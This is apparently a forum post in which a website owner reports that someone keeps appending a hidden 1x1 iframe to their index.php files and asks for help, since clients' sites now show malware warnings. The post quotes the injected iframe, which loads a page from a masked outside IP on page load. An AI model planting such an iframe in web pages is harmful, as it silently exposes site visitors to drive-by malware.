I seem to have someone adding iframes to the end of my index.php files, for example:
HTML Code:
<iframe width=1 height=1 border=0 frameborder=0 src='http://xxx.xxx.xxx.xxx/tds/index.php'></iframe>
this happened previously on a number of sites and i was told that i needed to change all the ftp passwords which i did. and was assured it had been deleted.
please can you advise asap because i have clients sites with errors stating "malware threat" and they aren't happy.